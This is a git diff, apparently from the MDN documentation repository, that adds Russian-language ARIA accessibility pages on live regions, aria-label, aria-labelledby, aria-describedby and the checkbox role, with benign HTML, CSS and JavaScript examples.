files/ru/web/svg/attribute/width/index.html create mode 100644 files/ru/web/svg/attribute/x/index.html create mode 100644 files/ru/web/svg/attribute/xml_colon_space/index.html create mode 100644 files/ru/web/svg/attribute/y/index.html create mode 100644 files/ru/web/svg/index.html create mode 100644 files/ru/web/svg/svg_1.1_support_in_firefox/index.html create mode 100644 files/ru/web/svg/svg_as_an_image/index.html create mode 100644 files/ru/web/svg/tutorial/clipping_and_masking/index.html create mode 100644 files/ru/web/svg/tutorial/fills_and_strokes/index.html create mode 100644 files/ru/web/svg/tutorial/filter_effects/index.html create mode 100644 files/ru/web/svg/tutorial/getting_started/index.html create mode 100644 files/ru/web/svg/tutorial/gradients/index.html create mode 100644 files/ru/web/svg/tutorial/index.html create mode 100644 files/ru/web/svg/tutorial/other_content_in_svg/index.html create mode 100644 files/ru/web/svg/tutorial/paths/index.html create mode 100644 files/ru/web/svg/tutorial/patterns/index.html create mode 100644 files/ru/web/svg/tutorial/svg_fonts/index.html create mode 100644 files/ru/web/svg/tutorial/svg_image_tag/index.html create mode 100644 files/ru/web/svg/tutorial/svg_in_html_introduction/index.html create mode 100644 files/ru/web/svg/tutorial/texts/index.html create mode 100644 files/ru/web/svg/tutorial/tools_for_svg/index.html create mode 100644 "files/ru/web/svg/tutorial/\320\261\320\260\320\267\320\276\320\262\321\213\320\265_\320\277\321\200\320\265\320\276\320\261\321\200\320\260\320\267\320\276\320\262\320\260\320\275\320\270\321\217/index.html" create mode 100644 "files/ru/web/svg/tutorial/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" create mode 100644 "files/ru/web/svg/tutorial/\320\276\321\201\320\275\320\276\320\262\320\275\321\213\320\265_\321\204\320\270\320\263\321\203\321\200\321\213/index.html" create mode 100644 "files/ru/web/svg/tutorial/\320\277\320\276\320\267\320\270\321\206\320\270\320\270/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/a/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/animate/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/animatemotion/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/circle/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/defs/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/ellipse/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/feblend/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/foreignobject/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/g/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/image/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/line/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/lineargradient/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/path/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/pattern/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/polygon/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/radialgradient/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/rect/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/svg/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/text/index.html" create mode 100644 "files/ru/web/svg/\321\215\320\273\320\265\320\274\320\265\320\275\321\202/use/index.html" create mode 100644 files/ru/web/tutorials/index.html create mode 100644 files/ru/web/web_components/html_imports/index.html create mode 100644 files/ru/web/web_components/index.html create mode 100644 "files/ru/web/web_components/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214\321\201\320\272\320\270\321\205_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262/index.html" create mode 100644 files/ru/web/webapi/index.html create mode 100644 files/ru/web/xml/index.html create mode 100644 files/ru/web/xml/xml_introduction/index.html create mode 100644 files/ru/web/xpath/funkcje/floor/index.html create mode 100644 files/ru/web/xpath/funkcje/index.html create mode 100644 files/ru/web/xpath/index.html create mode 100644 files/ru/web/xslt/index.html (limited to 'files/ru/web') diff --git a/files/ru/web/accessibility/aria/aria_live_regions/index.html b/files/ru/web/accessibility/aria/aria_live_regions/index.html new file mode 100644 index 0000000000..6f22cb75a6 --- /dev/null +++ b/files/ru/web/accessibility/aria/aria_live_regions/index.html @@ -0,0 +1,111 @@ +--- +title: ARIA Live Regions +slug: Web/Accessibility/ARIA/ARIA_Live_Regions +translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions +--- +

Introduction

+ +

In the past, a web page change could only be spoken in entirety which often annoyed a user, or by speaking very little to nothing, making some or all information inaccessible. Until recently, screen readers have not been able to improve this because no standardized markup existed to alert the screen reader to a change. ARIA live regions fill this gap and provide suggestions to screen readers regarding whether and how to interrupt users with a change.

+ +

Simple Live Regions

+ +

Dynamic content which updates without a page reload is generally either a region or a widget. Simple content changes which are not interactive should be marked as live regions. Below is a list of each related ARIA live region property with a description.

+ +
    +
  1. aria-live: The aria-live=POLITENESS_SETTING is used to set the priority with which screen reader should treat updates to live regions - the possible settings are: off/polite/assertive. The default setting is 'off'. This attribute is by far the most important.
    2. +
  2. +

    aria-controls: The aria-controls=[IDLIST] is used to associate a control with the regions that it controls. Regions are identified just like an ID in a div, and multiple regions can be associated with a control using a space, e.g. aria-controls="myRegionID1 myRegionsID2".

    + +
    Not known if the aria-controls aspect of live regions is implemented in current ATs, or which. Needs research.
    +
    3. +
+ +

Normally, only aria-live="polite" is used. Any region which receives updates that are important for the user to receive, but not so rapid as to be annoying, should receive this attribute. The screen reader will speak changes whenever the user is idle.

+ +

For regions which are not important, or would be annoying because of rapid updates or other reasons, silence them with aria-live="off".

+ +

Simple Use Case: combobox updates useful on-screen information

+ +

A website specializing in providing information about birds provides a drop down box. When a bird is selected from the drop down, a region on the page is updated with details about the type of bird selected.

+ +

<select size="1" id="bird-selector" aria-controls="bird-info"><option> .... </select>

+ +

<div role="region" id="bird-info" aria-live="polite">

+ +

As the user selects a new bird, the info is spoken. Because "polite" is chosen, the screen reader will wait until the user pauses. Thus, moving down the list will not speak every bird the user visits, only the one finally chosen.

+ +

Preferring Specialized Live Region Roles

+ +

In the following well-known predefined cases it is better to use a specific provided "live region role":

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RoleDescriptionCompatibility Notes
logChat, error, game or other type of logTo maximize compatibility, add a redundant aria-live="polite" when using this role.
statusA status bar or area of the screen that provides an updated status of some kind. Screen reader users have a special command to read the current status.To maximize compatibility, add a redundant aria-live="polite" when using this role.
alertError or warning message that flashes on the screen. Alerts are particularly important for client side validation notices to users. (TBD: link to ARIA form tutorial with aria info)To maximize compatibility, some people recommend adding a redundant aria-live="assertive" when using this role. However, adding both aria-live and role=alert causes double speaking issues in VoiceOver on iOS.
progressbarA hybrid between a widget and a live region. Use this with aria-valuemin, aria-valuenow and aria-valuemax. (TBD: add more info here). 
marqueefor text which scrolls, such as a stock ticker. 
timeror any kind of timer or clock, such as a countdown timer or stopwatch readout. 
+ +

Advanced Live Regions

+ +

(TBD: what is supported where?)

+ +
    +
  1. aria-atomic: The aria-atomic=BOOLEAN is used to set whether or not the screen reader should always present the live region as a whole, even if only part of the region changes - the possible settings are false/true where false is the default.
    2. +
  2. aria-relevant: The aria-relevant=[LIST_OF_CHANGES] is used to set what types of changes are relevant to a live region - the possible settings are additions/removals/text/all where "additions text" is the default.
    3. +
  3. aria-labelledby: The aria-labelledby=[IDLIST] is used to associate a region with its labels, similar to aria-controls but instead associating labels to the region and again label identifiers are separated with a space.
    4. +
  4. aria-describedby: The aria-describedby=[IDLIST] is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space.
    5. +
+ +

Advanced Use Case: Roster

+ +

A chat site would like to display a list of users currently logged on. Display a list of users where a user's log-in and log-out status will be reflected dynamically (without a page reload).

+ +
<ul id="roster" aria-live="polite" aria-relevant="additions removals">
+	<!-- use JavaScript to add remove users here-->
+</ul>
+
+ +

Breakdown of ARIA live properties:

+ + + +

TBD: Realistic use case for aria-atomic="true"

diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html new file mode 100644 index 0000000000..2e29856a5c --- /dev/null +++ b/files/ru/web/accessibility/aria/aria_techniques/index.html @@ -0,0 +1,169 @@ +--- +title: Использование ARIA +slug: Web/Accessibility/ARIA/ARIA_Techniques +tags: + - ARIA + - Accessibility + - NeedsTranslation + - TopicStub +translation_of: Web/Accessibility/ARIA/ARIA_Techniques +--- +

 

+ +

 Роли

+ +

 

+ +

Роли виджета

+ +
+ +
+ +

Композиционные роли

+ +

Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.

+ +
+ +
+ +

Document structure roles

+ +
+ +
+ +

Landmark roles

+ +
+ +
+ +

States and properties

+ +

 

+ +

Widget attributes

+ +
+ +
+ +

Live region attributes

+ +
+ +
+ +

Drag & drop attributes

+ +
+ +
+ +

Relationship attributes

+ +
+ +
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html new file mode 100644 index 0000000000..c23c3725b4 --- /dev/null +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html @@ -0,0 +1,87 @@ +--- +title: Использование атрибута aria-describedby +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute +tags: + - доступность +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute +--- +

Описание

+ +

Атрибут aria-describedby используется для указания ID элементов, описывающих объект. Он используется для установления отношений между элементами управления или группами и текстом, описывающим их. Это очень похоже на aria-labelledby: лэйбл описывает сущность объекта, в то время как описание предоставляет дополнительную информацию, которая может понадобиться пользователю.

+ +

Атрибут aria-describedby используется не только для элементов форм; он, также, используется для связывания статического текста с элементами управления, группами элементов, панелями, областями, которые имеют заголовок, определениями, и др. В разделе {{ anch("Examples") }} ниже приведено больше информации о том как использовать атрибут в этих случаях.

+ +

Этот атрибут может использоваться с любым типичным элементом HTML-форм; он не ограничивается элементами, которым назначена  ARIA role .

+ +

Значение

+ +

разделенный пробелами список ID элементов

+ +

Возможные последствия для пользовательских агентов и вспомогательных технологийP

+ + + +
Примечание: Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведенная выше информация является одним из таких мнений и поэтому не носит нормативного характера.
+ +

Примеры

+ +

Пример 1: Связвание приложения и описания

+ +

В примере ниже, вводный параграф описывает приложение календаря. aria-describedby используется для связывания параграфа с контейнером приложения.

+ +
<div role="application" aria-labelledby="calendar" aria-describedby="info">
+    <h1 id="calendar">Calendar</h1>
+    <p id="info">
+        This calendar shows the game schedule for the Boston Red Sox.
+    </p>
+    <div role="grid">
+        ...
+    </div>
+</div>
+
+ +

Пример 2: Кнопка закрытия

+ +

В примере ниже, ссылка, которая функционирует как кнопка закрытия диалога, описана в другом месте документа. Атрибут aria-describedby используется для связывания описания с ссылкой.

+ +
<button aria-label="Close" aria-describedby="descriptionClose"
+    onclick="myDialog.close()">X</button>
+
+...
+
+<div id="descriptionClose">Closing this window will discard any information entered and
+return you back to the main page</div>
+
+ +

Рабочие примеры:

+ + + +

Примечания

+ + + +

Использование ARIA ролей

+ +

все элементы базовой разметки

+ +

Связанные ARIA методы

+ + + +

Совместимость

+ +

TBD: добавить информацию о поддержке для общих UA и AT комбинаций продуктов

+ +

Дополнительные ресурсы

+ + diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html new file mode 100644 index 0000000000..b76b9de8c8 --- /dev/null +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html @@ -0,0 +1,68 @@ +--- +title: Использование атрибута aria-label +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +tags: + - ARIA + - HTML + - aria-label + - Клиент + - доступность +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute +--- +

Атрибут  aria-label  создаёт текстовую метку текущего элемента в случае отсутствия видимого текста описания элемента. Если есть видимый текст, обозначающий элемент, используйте вместо этого aria-labelledby.

+ +

Этот атрибут может быть использован для любого стандартного HTML элемента; не ограничивается элементами с ARIA role.

+ +

Значение

+ +

строка

+ +

Возможные эффекты на клиентские приложения и вспомогательные технологии

+ +
+

Edit section

+
+ +
Примечание: Мнения могут отличаться от того, как вспомогательные технологии должны справляться с этой техникой. Информация, представленная выше, является одним из таких мнений и поэтому не является нормативной.
+ +

Примеры

+ +
+

Пример 1: Множественные лейблы

+ +

В примере ниже, кнопка стилизована под типичную кнопку "закрыть" с X посередине. Поскольку нет ничего обозначающего значение того, что кнопка закрывает диалог, то aria-label атрибут используется чтобы обеспечить метку для любой вспомогающей технологии.

+
+ +
<button aria-label="Close" onclick="myDialog.close()">X</button>
+
+ +

Рабочие примеры:

+ +

Заметки

+ + + +

Использование ARIA ролями

+ +

Все элементы базовой разметки

+ +

Связанные ARIA техники

+ + + +

Совместимость

+ +

Будет определено позднее: Добавить информацию о поддержке для общих комбинаций продуктов UA и AT

+ +

Дополнительные ресурсы

+ + diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html new file mode 100644 index 0000000000..8736fc801a --- /dev/null +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html @@ -0,0 +1,140 @@ +--- +title: Использование атрибута aria-labelledby +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute +--- +

Описание

+ +

Атрибут aria-labelledby содержит идентификаторы (атрибут id) меток для таких обьектов как элементы ввода (input), виджеты, группы. Атрибут создаёт связь между обьектами и их метками. Вспомогательные технологии, такие как средства чтения экрана, используют этот атрибут чтобы собирать все метки в каталог документа, из которого пользователь может перемещаться между ними. Без идентификатора (атрибута id) вспомогательные технологии не могут собрать данные обьекты в каталог.

+ +

aria-labelledby очень похож на aria-describedby: Метка (label) предоставляет основную информацию об обьекте, в то время как описание (description) даёт более полную/детальную информацию которая может понадобится пользователю.

+ +

В дополнение к элементам формы вы можете использовать атрибут aria-labelledby, чтобы связать статический текст с виджетами, группами элементов, панелями, областями, которые имеют заголовок, определения и другие типы объектов. Ниже, в разделе {{ anch("Примеры") }} приведенны примеры и информация как использовать атрибут в данном виде.

+ +

Чтобы повысить совместимость с клиетскими приложениями которые не поддерживают ARIA атрибуты, вы можете использовать aria-labelledby вместе элементом {{ HTMLElement("label") }} (используя for атрибут)

+ +

Этот атрибут может быть использован в любом типичном HTML элементе формы, он не ограничен элементами которые имеют атрибут ARIA role

+ +

Значение

+ +

Список идентификаторов (id) разделенных пробелом

+ +

Возможные эфекты в клиентских приложениях и вспомогательных технологиях

+ +

Когда клиенсткое приложение вычисляют доступное имя элемента который имеет и атрибут aria-labelledby, и атрибут aria-label, они отдадут приоритет aria-labelledby

+ +

Примеры

+ +

Example 1: Multiple Labels

+ +

In the example below, each input field is labelled by both its own individual label and by the label for the group:

+ +
<div id="billing">Billing</div>
+
+<div>
+    <div id="name">Name</div>
+    <input type="text" aria-labelledby="billing name"/>
+</div>
+<div>
+    <div id="address">Address</div>
+    <input type="text" aria-labelledby="billing address"/>
+</div>
+
+ +

Example 2: Associating Headings With Regions

+ +

In the example below, header elements are associated with the content they head. Note that the region being referenced is the region that contains the header.

+ +
<div role="main" aria-labelledby="foo">
+   <h1 id="foo">Wild fires spread across the San Diego Hills</h1>
+   Strong winds expand fires ignited by high temperatures ...
+</div>
+
+ +

Example 3: Radio Groups

+ +

In the example below, the container of a radiogroup is associated with its label using the aria-labelledby attribute:

+ +
<div id="radio_label">My radio label</div>
+<ul role="radiogroup" aria-labelledby="radio_label">
+    <li role="radio">Item #1</li>
+    <li role="radio">Item #2</li>
+    <li role="radio">Item #3</li>
+</ul>
+
+ +

Example 4: Dialog Label

+ +

In the example below, the header element that labels the dialog is referred to by the aria-labelledby attribute:

+ +
<div role="dialog" aria-labelledby="dialogheader">
+    <h2 id="dialogheader">Choose a File</h2>
+    ... Dialog contents
+</div>
+
+ +

Example 5: Inline Definition

+ +

In the example below, the definition of a term that is described in the natural flow of the narrative is associated with the term itself using the aria-labelledby attribute:

+ +
<p>The doctor explained it had been a <dfn id="placebo">placebo</dfn>, or <span role="definition" aria-labelledby="placebo">
+an inert preparation prescribed more for the mental relief of the patient than for its actual effect on a disorder.</span>
+</p>
+
+ +

Example 6: Definition Lists

+ +

In the example below, the definitions in a formal definition list are associated with the terms they define using the aria-labelledby attribute:

+ +
<dl>
+    <dt id="anathema">anathema</dt>
+    <dd role="definition" aria-labelledby="anathema">a ban or curse solemnly pronounced by ecclesiastical authority
+                                                     and accompanied by excommunication</dd>
+    <dd role="definition" aria-labelledby="anathema">a vigorous denunciation : cursor</dd>
+
+    <dt id="homily">homily</dt>
+    <dd role="definition" aria-labelledby="homily">a usually short sermon</dd>
+    <dd role="definition" aria-labelledby="homily">a lecture or discourse on or of a moral theme</dd>
+</dl>
+
+ +

Example 7: Menus

+ +

In the example below, a popup menu is associated with its label using the aria-labelledby attribute:

+ +
<div role="menubar">
+    <div role="menuitem" aria-haspopup="true" id="fileMenu">File</div>
+    <div role="menu" aria-labelledby="fileMenu">
+        <div role="menuitem">Open</div>
+        <div role="menuitem">Save</div>
+        <div role="menuitem">Save as ...</div>
+        ...
+    </div>
+    ...
+</div>
+
+ +

Notes 

+ +

The most common accessibility API mapping for a label is the accessible name property

+ +

Used by ARIA roles

+ +

All elements of the base markup

+ + + + + +

Compatibility

+ +

TBD: Add support information for common UA and AT product combinations

+ +

Additional resources

+ + diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html new file mode 100644 index 0000000000..b2dc0f6ec3 --- /dev/null +++ b/files/ru/web/accessibility/aria/index.html @@ -0,0 +1,123 @@ +--- +title: ARIA +slug: Web/Accessibility/ARIA +tags: + - ARIA + - Web + - доступность +translation_of: Web/Accessibility/ARIA +--- +

Accessible Rich Internet Applications (ARIA) определяет способ сделать веб контент и веб приложения (особенно те, которые разработаны с помощью Ajax и JavaScript) более доступными для людей с ограниченными возможностями. Например, ARIA делает доступным навигационные маркеры, JavaScript виджеты, подсказки на форме, сообщения об ошибках, автоматические обновления и многое другое.

+ +

ARIA - это набор специальных атрибутов, которые могут быть добавлены в любую разметку,  но особенно подходят для HTML. Атрибут role определяет тип объекта (такие как статья, оповещение или ползунок). Дополнительные ARIA атрибуты предоставляют другие полезные возможности, такие как описания для форм или текущее значение индикатора выполнения.

+ +

Поддержка ARIA реализована в большинстве современных браузеров и программах экранного доступа. Конечно, реализации различаются, и старые технологии не поддерживают их полностью (либо вообще не поддерживают). Используйте постепенно деградирующий "щадящий" ARIA, или просите пользователей использовать новые технологии.

+ +
+

Note: Пожалуйста, примите участие в написании и/или переводе статей чтобы сделать ARIA понятнее и доступнее для тех, кто только начинает изучать материал! Не хватает на это времени? Тогда отправьте свои предложения в список рассылки Mozilla по теме accessibility, или на IRC каналс тэгом #accessibility.

+
+ +
+
+

Начало работы с ARIA

+ +
+
Введение в ARIA
+
Быстрое введение в превращение динамического контента в доступный с помощью ARIA. Смотрите также классическую статью ARIA intro by Gez Lemon, from 2008.
+
Web Applications and ARIA FAQ
+
Ответы на часто задаваемые вопросы о том как и почему нужно использовать ARIA в разработке интерфейсов веб-приложений.
+
Записи использования экранных читалок с ARIA.
+
На этих видео можно увидеть реальные и учебные примеры того ARIA улучшает доступность.
+
Использование ARIA в HTML
+
Практическое руководство для разработчиков. Содержит рекомендации по использованию ARIA-атрибутов при разметке.
+
+ +

Простое улучшение ARIA

+ +
+
Улучшение навигации по странице с помощью ARIA Landmarks
+
Хорошее введение в использование ARIA landmarks для улучшения навигации для пользователей с экранными читалками. Стоит также заглянуть в заметки по поддержке ARIA landmarks читалками и примеры использования на реальных сайтах (опубликовано в Июле 2011).
+
Улучшение доступности форм
+
ARIA используется не только для обозначения динамического контента! Узнайте, как улучшить доступность форм HTML используя дополнительные ARIA-атрибуты.
+
Live regions (в процессе написания)
+
Live regions подсказывают экранным читалкам как правильно обрабатывать изменения контента на странице.
+
Использование ARIA Live Regions для оповещения об изменении контента страницы
+
Краткая сводка об использовании live regions от создателей JAWS screen reader software. Live regions также поддерживаются NVDA в Firefox и VoiceOver в Safari.
+
+ +

ARIA для виджетов на JavaScript.

+ +
+
Навигация с помощью клавиатуры и фокус в виджетах на JavaScript
+
Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Еще один хороший ресурс - статья Yahoo! об управлении фокусом.
+
Style Guide for Keyboard Navigation
+
В этом руководстве описываются способы управления самыми распространенными виджетами с клавиатуры.
+
+ +

Дополнительные ресурсы по ARIA

+ +
+
Виджеты. Техники, руководства, примеры.
+
Нужен слайдер, меню или другой виджет? здесь вы можете найти все, что нужно
+
JavaScript UI библиотеки со встроенной поддержкой ARIA.
+
Если вы начинаете новый проект, то вам стоит обратить внимание на UI библиотеки, имеющие встроенную поддержку ARIA. Внимание: статья 2009 года — то, что она описывает, стоит вынести в отдельную статью на MDN, которая будет поддерживаться в актуальном состоянии.
+
+
+ +
+

Список рассылки.

+ +
+
Открытая Google Group, посвященная ARIA
+
Здесь можно задать вопрос об ARIA, а также предложить улучшение существующей документации, которая находится там же.
+
+ +

Блоги

+ +

Хотя информация в блогах быстро теряет актуальность, все же в них можно почерпнуть ценную информацию из первых рук - разработчиков, развивающих ARIA.

+ +

Paciello Group

+ +

Accessible Culture

+ +

Обнаружение багов.

+ +

Сообщайте об ошибках ARIA в браузерах, экранных читалках и библиотеках JavaScript.

+ +

Примеры

+ +
+
ARIA. Библиотека примеров.
+
Набор примеров по которым можно многому научиться.
+
Различные демки библиотек с доступными JS виджетами.
+
jQuery, YUI
+
Yahoo! Mail
+
Детище Yahoo! - Yahoo! Mail, веб-приложение, выглядящее практически как нативное и вполне доступное. После обзора Yahoo! Mail с использованием экранной читалки Marco Zehe сказал: "Хорошая работа, не сбавляйте обороты!".
+
Yahoo! Search
+
Yahoo! проделали невероятную работу по продвижению ARIA в своем поисковике, используя все возможности и делясь своим опытом. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.
+
+ +

Стандартизация.

+ +
+
WAI-ARIA Activities Overview at W3C
+
Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)
+
WAI-ARIA Specification
+
The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.
+
WAI-ARIA Authoring Practices
+
+

Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.

+ +

For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.

+
+
Open AJAX Accessibility Task Force
+
The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.
+
Under Construction: WCAG 2.0 ARIA Techniques
+
The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.
+
+
+
+ + + +

Accessibility, AJAX, JavaScript

diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html new file mode 100644 index 0000000000..b9eb71997d --- /dev/null +++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html @@ -0,0 +1,149 @@ +--- +title: 'ARIA: checkbox role' +slug: Web/Accessibility/ARIA/Roles/checkbox_role +translation_of: Web/Accessibility/ARIA/Roles/checkbox_role +--- +

\{{ariaref}}

+ +

checkbox role используется для переключаемых интерактивных элементов управления. Элементы, содержащие role="checkbox" также должны включать aria-checked атрибут, чтобы продемонстрировать состояние чекбокса ассистивным технологиям.

+ +
<span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label">
+</span> <label id="chk1-label">Remember my preferences</label>
+ +

Первое правило ARIA -  если у нативного HTML элемента или атрибута присутствует небходимая семантика или поведение, следует использовать его, а не использовать другой элемент не по назначению, добавляя ARIA. Вместо этого лучше использовать HTML checkbox  <input type="checkbox">, который изначально предоставляет необходимый функционал:

+ +
<input type="checkbox" id="chk1-label">
+<label for="chk1-label">Запомнить мои предпочтения</label>
+ +

Описание

+ +

Нативный HTML checkbox  элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с неопределенным состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с role="checkbox"  может находиться в трех состояниях, обозначенных через aria-checked атрибут: true, false, or mixed.

+ +

Поскольку чекбокс является интерактивным элементом, он должен быть фокусируемым и доступным при помощи клавиатуры. Если роль установлена для нефокусируемого элемента, чтобы исправить ситуацию, используйте атрибут tabindex. Ожидаемый способ активации чекбокса при помощи клавиатуры - Пробел .

+ +

Разработчику необходимо динамически изменять значение атрибута aria-checked при активации чекбокса.

+ +

Связанные WAI-ARIA Роли, Состояния, и Свойства

+ +
+
+ +
+
aria-checked
+
+

Значение aria-checked определяет состояние чекбокса. Этот атрибут может принимать одно из трех значений:

+ +

true
+     Чекбокс отмечен
+ false
+     Чекбокс не отмечен
+ mixed
+     Чекбокс частично отмечен, или в неопределенном состоянии

+
+
tabindex="0"
+
Делает элемент фокусируемым, так что пользователь ассистивных технологий может сразу перейти к нему и начать читать.
+
+ +

Взаимодействие с клавиатурой

+ + + + + + + + + + + + +
КлавишаФункция
ПробелАктивирует чекбокс
+ +

Необходимый JavaScript

+ +

Необходимый обработчики событий

+ +
+
onclick
+
Обрабатывает клики, которые изменяют состояние чекбокса, меняя значение атрибута aria-checked и внешний вид чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.
+
onKeyPress
+
Обрабатывает случай, когда пользователь нажимает Пробел для смены состояния чекбокса путем изменения значения атрибута aria-checked и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.
+
+ +
+
+ +

Примеры

+ +

Пример ниже создает простой чекбокс, используя CSS и JavaScript для обработкиотмеченного и неотмеченного состояний элемента.

+ +

HTML

+ +
<span role="checkbox" id="chkPref" aria-checked="false" onclick="changeCheckbox()" onKeyPress="changeCheckbox()"
+   tabindex="0" aria-labelledby="chk1-label"></span>
+<label id="chk1-label" onclick="changeCheckbox()" onKeyPress="changeCheckbox()">Запомнить мои предпочтения</label>
+ +

CSS

+ +
[role="checkbox"] {
+    padding:5px;
+}
+
+[aria-checked="true"]::before {
+    content: "[x]";
+}
+
+[aria-checked="false"]::before {
+    content: "[ ]";
+}
+ +

JavaScript

+ +
function changeCheckbox(event) {
+    let item = document.getElementById('chkPref');
+    switch(item.getAttribute('aria-checked')) {
+        case "true":
+            item.setAttribute('aria-checked', "false");
+            break;
+        case "false":
+            item.setAttribute('aria-checked', "true");
+            break;
+    }
+}
+ +

{{EmbedLiveSample("Examples", 230, 250)}}

+ +

Проблемы доступности

+ +

Когда checkbox роль добавлена к элементу, юзер агент должен сделать следующее:

+ + + +

Продукты, использующие ассистивные технологии должны сделать следующее:

+ + + +
Замечание: Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.
+ +

Лучшие практики

+ +

Первое правило ARIA - если у нативного HTML элемента или атрибута присутствует небходимая семантика или поведение, следует использовать его, а не использовать другой элемент не по назначению, добавляя ARIA, чтобы сделать его доступным. По существу, рекомендуется использовать нативный HTML checkbox  вместо воспроизведения функциональности чекбокса с помощью JavaScript и ARIA.

+ +

Смотрите также:

+ + + +

 

diff --git a/files/ru/web/accessibility/aria/roles/index.html b/files/ru/web/accessibility/aria/roles/index.html new file mode 100644 index 0000000000..b86909d5a7 --- /dev/null +++ b/files/ru/web/accessibility/aria/roles/index.html @@ -0,0 +1,80 @@ +--- +title: WAI-ARIA Roles +slug: Web/Accessibility/ARIA/Roles +tags: + - ARIA + - ARIA Roles + - Accessibility + - NeedsTranslation + - Reference + - Rôles + - TopicStub +translation_of: Web/Accessibility/ARIA/Roles +--- +

This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see Using ARIA: Roles, States, and Properties

+ +

{{SubpagesWithSummaries}}

